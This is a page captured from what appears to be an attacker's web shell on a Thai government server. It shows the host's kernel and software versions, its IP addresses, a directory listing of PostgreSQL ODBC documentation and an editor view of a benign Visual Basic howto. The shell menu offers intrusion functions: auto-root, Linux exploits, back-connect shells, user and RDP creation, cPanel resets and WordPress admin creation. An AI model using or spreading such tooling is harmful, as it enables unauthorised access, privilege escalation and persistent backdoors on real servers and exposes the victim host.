Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
postgresql-odbc-08.04.0200 /
[ HOME SHELL ]
Name
Size
Permission
Action
config-opt.html
6
KB
-rw-r--r--
config.html
13.76
KB
-rw-r--r--
faq.html
28.33
KB
-rw-r--r--
howto-accesslo.html
2.35
KB
-rw-r--r--
howto-accessvba.html
6.24
KB
-rw-r--r--
howto-bo.html
1.67
KB
-rw-r--r--
howto-ch.html
4.04
KB
-rw-r--r--
howto-csharp.html
4.95
KB
-rw-r--r--
howto-vb.html
3.42
KB
-rw-r--r--
howto-vblo.html
8.52
KB
-rw-r--r--
index.html
4.35
KB
-rw-r--r--
license.txt
25.14
KB
-rw-r--r--
readme.txt
1.35
KB
-rw-r--r--
release.html
43.97
KB
-rw-r--r--
unix-compilation.html
2.35
KB
-rw-r--r--
win32-compilation.html
3.83
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : howto-vb.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=US-ASCII"> <title>psqlODBC HOWTO - Visual Basic</title> </HEAD> <body bgcolor="#ffffff" text="#000000" link="#ff0000" vlink="#a00000" alink="#0000ff"> <h1>psqlODBC HOWTO - Visual Basic</h1> <p> <i> Author: Dave Page (dpage@postgresql.org)<br> Release Date: 13 November 2001<br> Description: Example based Mini-Howto on Accessing PostgreSQL from Visual Basic </i> <br><br> This document provides some sample code to get you started with Visual Basic & PostgreSQL. <br><br> Requirements to get the subroutines to work: <br> <ul> <li>Visual Basic 5/6</li> <li>A reference in the VB project to Microsoft ActiveX Data Objects</li> <li>A PostgreSQL datasource.</li> </ul> The example code shown below may need some modification to make it actually work in your environment. There is one table used in the example: <br> <blockquote> <code> CREATE TABLE vbtest(<br> id int4,<br> data text,<br> accessed timestamp<br> ); </code> </blockquote> <h2>Code</h2> <blockquote> <pre> Sub Main() Dim cn as New ADODB.Connection Dim rs as New ADODB.Recordset 'Open the connection cn.Open "DSN=<MyDataSourceName>;" & _ "UID=<MyUsername>;" & _ "PWD=<MyPassword>;" & _ "Database=<MyDatabaseName>" 'Clear the table cn.Execute "DELETE FROM vbtest;" 'For updateable recordsets we would typically open a Dynamic recordset. 'Forward Only recordsets are much faster but can only scroll forward and 'are read only. Snapshot recordsets are read only, but scroll in both 'directions. rs.Open "SELECT id, data, accessed FROM vbtest", cn, adOpenDynamic, adLockOptimistic 'Loop though the recordset and print the results 'We will also update the accessed column, but this time access it through 'the Fields collection. ISO-8601 formatted dates/times are the safest IMHO. While Not rs.EOF Debug.Print rs!id & ": " & rs!data rs.Fields("accessed") = Format(Now, "yyyy-MM-dd hh:mm:ss") rs.Update rs.MoveNext Wend 'Add a new record to the recordset rs.AddNew rs!id = 76 rs!data = 'More random data' rs!accessed = Format(Now, "yyyy-MM-dd hh:mm:ss") rs.Update 'Insert a new record into the table cn.Execute "INSERT INTO vbtest (id, data) VALUES (23, 'Some random data');" 'Refresh the recordset to get that last record... rs.Requery 'Get the record count rs.MoveLast rs.MoveFirst MsgBox rs.RecordCount & " Records are in the recordset!" 'Cleanup If rs.State <> adStateClosed Then rs.Close Set rs = Nothing If cn.State <> adStateClosed Then cn.Close Set cn = Nothing End Sub </pre> </blockquote> </p> <h2>Useful Functions</h2> <blockquote> <pre> ' The escapeString function can be used to fix strings for us in INSERT and ' UPDATE SQL statements. It will take a value, and return it ready for ' use in your statement as NULL, or quoted with backslashes and single quotes ' escaped. Function escapeString(vValue As Variant) As String If IsNull(vValue) Then escapeString = "NULL" else escapeString = "'" & Replace(Replace(vValue, "", ""), "'", "''") & "'" end if End Function </pre> </blockquote> </p> </body> </html>
Close